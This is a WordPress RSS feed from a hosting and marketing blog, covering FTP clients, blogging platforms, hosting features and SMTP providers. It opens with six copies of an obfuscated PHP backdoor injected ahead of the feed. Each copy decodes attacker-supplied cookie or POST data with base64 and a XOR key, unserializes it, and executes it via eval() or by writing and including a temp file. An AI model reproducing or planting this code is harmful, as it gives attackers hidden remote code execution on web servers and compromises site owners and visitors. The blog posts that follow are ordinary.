$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Hosting – CODE Marketing: Blog https://blog.codemarketing.com Thu, 19 Dec 2019 12:53:42 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 5 Best FTP Clients for Mac and Windows Users https://blog.codemarketing.com/5-best-ftp-clients-for-mac-and-windows-users/ Thu, 22 Aug 2019 05:00:18 +0000 http://blog.codemarketing.com/?p=1307 There are plenty of free and paid FTP clients available. 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There are plenty of free and paid FTP clients available. In this article, we have hand-picked some of the best FTP clients for beginners. The goal here is to find the most reliable, secure, and easy to use FTP tool for all your file editing and uploads.

What is an FTP Client? Why You Need it?

FTP (File Transfer Protocol) allows you to upload files from your computer to your website. In order to use FTP, you will need an FTP client which is a desktop app that connects your computer to your hosting account.

It provides an easy to use graphical user interface so that you can perform all FTP functions such as copy, upload, delete, rename, and edit files/folders on your website.

How to Use an FTP Client?

You will need an FTP username and password in order to connect to your website.

This information can be found in the email you got when you first started your blog and signed up for a web hosting account. You can also get this information from your web hosting cPanel dashboard or ask the support, and they will email it to you.

Once you have this information, you can connect to your website.

First, you will need to launch your FTP client and enter your FTP username, password, host (usually your website address), and then click on the connect button.

Best FTP Clients for Beginners

There are several paid and free FTP clients available for different platforms and operating systems. Each one of them comes with an easy to use interface and additional features that will make it easier for you to edit files

  1. WinSCP
    WinSCP is one of the most powerful and easy to use FTP client for Windows users. It feels like there are too many things on the user interface, but it is actually quite easy to learn.

    On your left, you have the files on your computer and on the right, you see the files on your server. Just click on a file to download, upload, or edit it.

    For advanced users, WinSCP has all the features that you would need from a powerful FTP client. It supports SFTP, SSH, and of course the plain old FTP. Handling files and assigning default editors is quite easy with WinSCP.

    Platform: Windows
    Price: Free

  2. Cyberduck
    CyberDuck is an extremely easy to use FTP client suitable for beginners as well as advanced users.

    It is available for Mac and Windows computers. Unlike other cross-platform applications, it actually integrates beautifully with your native Mac environment. It also supports Mac features like storing your login credentials in keychain and locating files in finder.

    You can select your preferred code editor and open files for editing with the click of a button.

    Platform: Windows, Mac
    Price: Free

  3. Transmit
    Transmit is the most popular FTP client for Mac, particularly among web developers. It comes with an extremely powerful set of features like folder syncing, disk feature, and higher speeds.

    Transmit beautifully integrates into your native Mac environment which makes it super easy for Mac users to learn quickly. You can add your transmit shortcuts to Finder as favourites and quickly access them.

    It supports SSH, SFTP, FTP, FTPs connections. It also comes with a neat code editor for quick file edits.

    Platform: Mac
    Price: Free, Paid version for $34

  4. Free FTP
    Free FTP by Coffee House is a popular FTP client among Windows users. It is very beginner friendly and quite easy to use.

    It supports FTP, SFTP, FTPS, and beautifully integrates into your operating system. It has a history feature which allows you to remember where you stored a file.

    There is a paid version available as well which is called Direct FTP. It has extra features like code editor, autocompletion, image viewer, etc.

    Platform: Windows
    Price: Free, Paid version for $39

  5. FileZilla
    FileZilla is a popular free FTP client for Windows, Mac, and Linux.

    It is perhaps, the easiest to use FTP client. However, the reason we have placed it on the fifth position is that Windows users have reportedly found adware or spyware packaged into FileZilla downloads.

    You can uncheck the box during the installation to opt-out from adware, but since many of our users are beginners, we are afraid that they may miss it and eventually end up with adware on their computer.

    Our experienced users can install FileZilla from the official website. Linux users will find Filezilla available in their distro’s official repositories.

    Platform: Windows, Mac, Linux
    Price: Free

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Which Website Hosting is Best for Bloggers? https://blog.codemarketing.com/which-website-hosting-is-best-for-bloggers/ Fri, 16 Aug 2019 05:00:48 +0000 http://blog.codemarketing.com/?p=1296 Are you looking to start your own blog, but can’t figure out how to choose the best blogging platform? It’s a tough choice since there are several different blogging platforms out there. How do you find out which one is right for you? WordPress.com (best site for bloggers who don’t want to pay) There’s a …

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Are you looking to start your own blog, but can’t figure out how to choose the best blogging platform? It’s a tough choice since there are several different blogging platforms out there. How do you find out which one is right for you?

  • WordPress.com (best site for bloggers who don’t want to pay)

    There’s a lot to be said for WordPress – the largest blogging community on the web. The basic version, WordPress.com, is hosted on the WordPress server. It’s easy enough for a beginner to set up a blog and it’s free. It’s perfect if you don’t care about doing a lot of customization.

    WordPress.com offers upgrades for a fee. When you are ready for an upgrade, you’ll need to switch to WordPress.org.

  • WordPress.org (best hosting option if you can spare a few dollars per month)


    WordPress.org is the big brother of WordPress.com and in my opinion, is definitely the best site for bloggers and websites in general.
    It’s fairly easy to install, and you won’t need to know to code to put up an eye-catching website, but you’ll need to get your own host and domain. This platform is highly customizable, and it offers lots of free and paid options…see below for the best way to get started with WordPress.

  • Blogger


    Some of the earliest bloggers fell in love with the Blogger platform. Content is easy to post and publish. Blogger has a few nice little widgets, but you’ll need to get familiar with some code to customize your site to bring it out of the elementary age. It’s owned by Google, which means it’s easy to integrate all of the Google apps.

  • Tumblr


    Tumblr is another site that is free and unusually easy to set up, even for a beginner. The features on Tumblr rival those of WordPress.com and Blogger. Tumblr is owned by Yahoo, so bloggers that love the Yahoo culture and community will favour it as a web host. Reblog is a feature that is unique to Tumblr. Reblog makes it easy to repost content from other sites.

  • Squarespace


    Squarespace is growing in popularity because bloggers don’t have to sacrifice elegance for coding skills. It’s one of the few sites that gives bloggers the ability to create an attractive, high-quality website without knowing an ounce of code. All of the news regarding Squarespace isn’t fabulous. Theme and plugin support is fair, but not awesome. If you’re not sure about it, take the free trial.

We believe that WordPress.org outperforms all other blogging sites. It is powerful, easy to use, affordable, and the most flexible of all available blogging platforms.

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Features of a good blog hosting website https://blog.codemarketing.com/features-of-a-good-blog-hosting-website/ Thu, 08 Aug 2019 05:00:42 +0000 http://blog.codemarketing.com/?p=1289 The first question you’re probably thinking when looking for sites to host your blog is how much is it going to cost? But judging a hosting provider on whether its cheap or expensive might not be the way to go if your website isn’t doing what you want it to do. You are better off …

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The first question you’re probably thinking when looking for sites to host your blog is how much is it going to cost? But judging a hosting provider on whether its cheap or expensive might not be the way to go if your website isn’t doing what you want it to do.

You are better off narrowing down some of the best web hosting options for blogs and then compare by price.

Features of the best blogging sites

  • Speed – web users expect a site to load in 2 seconds or less. Any longer than that, you’re likely to lose them. Online shoppers want to find their merchandise fast. 79% of buyers will not return to your site if it’s too slow and 52% of shoppers said that fast loading pages keep them loyal to a site.
  • Features – beginner bloggers want the site to do most of the work for them. Beginners should look for easy and uncompleted installs, drag and drop website builders, free domain names, and stat trackers.
  • Security – there are two big reasons to consider a secure website—server shutdown and virus prevention. You’ll usually pay a bit more for them, but you don’t want the server crashing during the holiday shopping season. You’ll also want to avoid nasty viruses that steal your personal information and shut down your computer.
  • Support – how quickly do you expect an answer to a technical problem? If you want the availability of a 24/7 tech or customer service representative, you’ll want to look for a web host provider that will respond quickly. Filing a trouble ticket and waiting for an answer will cost you downtime, especially if your question isn’t answered fully on the first try.
  • Type of server – there are four types of servers. Shared servers are cheaper, but they go down more because the server is shared with many other subscribers. VPS costs a bit more, and while it shares space on the server, your space is cut off from other subscribers, so if there’s a problem, it wasn’t caused by another subscriber. Dedicated space is expensive enough that it doesn’t make sense for most people, but it’s less likely to crash. The fourth type of server is a cloud system. It works much like the VPS system. It uses multiple servers in a network and is more secure than traditional VPS and shared servers.

Now that you are aware that you can expect to pay a bit more for having more space on the server, user-friendly features, faster speed, and around-the-clock support, you can prioritize which of these factors you want to dedicate the bulk of your monthly costs towards. Set your standards and look for the best web host for your blog.

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5 Best SMTP Service Providers for 2019 https://blog.codemarketing.com/5-best-smtp-service-providers-for-2019/ Sun, 04 Aug 2019 05:00:53 +0000 http://blog.codemarketing.com/?p=1315 An SMTP service provider helps you reliably send emails from your website to your users. SMTP servers are specially configured to ensure that your emails reach users’ inbox and don’t end up in the junk mail folder. In this article, we will share the best SMTP service providers with high email deliverability. Why You Need …

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An SMTP service provider helps you reliably send emails from your website to your users.

SMTP servers are specially configured to ensure that your emails reach users’ inbox and don’t end up in the junk mail folder.

In this article, we will share the best SMTP service providers with high email deliverability.

Why You Need an SMTP Service Provider for Emails?

All websites rely heavily on email to do various tasks. For example:

  • Recovering lost password
  • Registering a new account
  • Notifications for comments, new articles, password changes, and more
  • If it’s an online store, then sending a customers order confirmation, invoices, and delivery information via email.

What is SMTP?

SMTP or Simple Mail Transfer Protocol is the industry standard to send emails on the internet. It uses proper authentication which increases the chances that your emails will actually get delivered in the users inbox.

There are both paid and free SMTP service providers. In fact, you can get a free SMTP account with a business email address from Google or Outlook.

Best SMTP Service Providers

There are many SMTP service providers that allow you to send mass emails, WordPress emails, transactional emails, and more.

However, each one of them is different in terms of features, pricing, ease of use, number of emails allowed on free plan, and most importantly their track record on deliverability.

Following are the best SMTP service providers that offer higher deliverability and best set of features.

  1. Mailjet


    Mailjet is the best SMTP service provider on the market. They offer a beginner-friendly email marketing and transactional SMTP email service.

    You can easily integrate Mailjet with your website and use it to send WordPress emails using SMTP. They offer a highly robust API with SMTP relay service to ensure that your emails don’t end up in spam.

    Other notable features include drag and drop editor with email templates, built-in email marketing features, transactional SMS, marketing automation, and more. They also offer A/B testing and advanced statics to monitor your open rate, delivery rates, clicks, and more.

    Pricing: Mailjet offers a free plan with up to 6000 emails every month (200 emails per day). Their paid plans start from $8.69 per month (billed annually) with 30,000 emails per month (no daily limit).

  2. Mailgun


    Mailgun is a popular SMTP service provider for developers and businesses. They offer powerful APIs to send transactional emails.

    It is easy to integrate into your website. Whether you are an eCommerce store, a membership website, or a small business, Mailgun offers an easy to scale SMTP service to send your marketing and transactional emails.

    It is designed for developers and lacks some of the beginner-friendly features of other SMTP providers on the list.

    Pricing: Mailgun offers a ‘pay as you go’ plan with first 10,000 emails free. The free plan is more than enough for small websites. Their paid plans are fairly competitive in the market. However, if you want a dedicated IP and improved deliverability, then it starts at $79 per month with 1 dedicated IP address.

  3. SendGrid


    SendGrid is a powerful cloud-based SMTP email service provider that allows you to send mass emails without managing an SMTP server. It offers higher scalability with a powerful set of features.

    Their SMTP relay is easy to set up and works with any website. It includes delivery optimization tools, email analytics, email templates with a simple email editor, and integrations with third-party apps and services.

    If deliverability is your main concern, then SendGrid offers great tools to further improve email delivery including dedicated IP addresses and domain name authentication tools.

    Pricing: They offer a free plan with first 40,000 emails free and then 100 emails per day. Their paid plans start at $14.95 per month.

  4. Amazon SES


    AWS or Amazon Web Services is the industry leader in cloud computing infrastructure. They also offer Amazon SES or Amazon Simple Email Service as an add-on to their web services.

    It is a powerful cloud-based SMTP service for marketers and developers to easily send marketing, notification, and transactional email campaigns.

    It offers higher deliverability with the cost efficiency of AWS. You get a lot of powerful features, but most of them are suitable for advanced users and developers.

    Amazon SES can be easily integrated into your website and depending on your usage, Amazon SES can be the cheapest SMTP service in the market.

    Pricing: If your website is hosted on AWS, then you can use their free tier to send 62,000 emails each month. For other websites, pricing starts at $0.10 for every 1,000 emails you send.

  5. G Suite


    G Suite is Google’s productivity suite for businesses. It allows you to use calendar, Google Drive, Docs, Photos, and Gmail with your own domain name.

    This allows you to get a professional business email address while still using the familiar interface of Google. G Suite allows you to use Google SMTP servers to send out emails which means you can set up an email account for your WordPress site and then use it to send WordPress emails.

    However, it is only suitable for small business websites and blogs because it can only send 2,000 messages a day.

    Pricing: Starts from $6 per user per month.

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